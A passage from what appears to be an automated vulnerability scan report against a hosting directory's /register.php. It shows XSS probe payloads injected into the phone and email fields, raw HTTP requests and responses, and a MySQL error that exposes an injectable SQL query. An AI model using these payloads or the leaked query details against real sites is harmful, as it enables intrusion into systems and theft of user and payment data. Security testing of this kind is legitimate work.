(card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D350427FD7D024D10D64C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D350E50D1A3362CF102E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D3508C1422760592A283C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D35009F0EE8C46BC784DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D350EFE16B5D203A46286F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D3507EEBD31A7998E7EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D35062A58DA2A49C8F6AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D35068EEF628C8E7EA896F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D350E17C3C1A717CB8F5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D350806669F42C879CD36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D350F4F4F5E12D5DAC7AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D35088D755D4C1CCB882C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D350F470D9C1DDD6486BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350EF03F9A38E3FC669C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D3504440844BEA6FEAB3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D350CE3CEE57B396897EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D350D82FCE241B1184926F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D350869887BC29B90B6D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D3501EBA9AF6FCD3388E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST '"--></style></script><script>alert(0x001F66)</script>
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F66)%3c%2fscript%3e&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:44 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D3505C390F64BD89BE77C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D3505C5E7D3B967FBACC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D3504BDB2A0F474C083AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D35065A5DD4872A6FAE7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D3509CAAB38660784B8A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D35048E8C91D1AE40298C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D350780F693D5CAA6BE7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D3508E80C5C939CB1D496F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D350DF52D1757DA8364EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D35012B5B6740206A8876F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D350969B4766C0837412C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D350A10A6E8952137718C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D350A916B6D2FCB77D9DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350929BDDFA4B0E3390C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D35083E2F0CDB5197801C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D350CC85014D5D352555C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D35023C50FCD3E4379EC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D35074C7B7A7091CC4686F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D35008F20D9D7E884FE86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST '"--></style></script><script>alert(0x001F67)</script>
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 511
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F67)%3c%2fscript%3e&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:52 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 333
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001f67)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001f67)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST '"--></style></script><script>alert(0x001F68)</script>
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
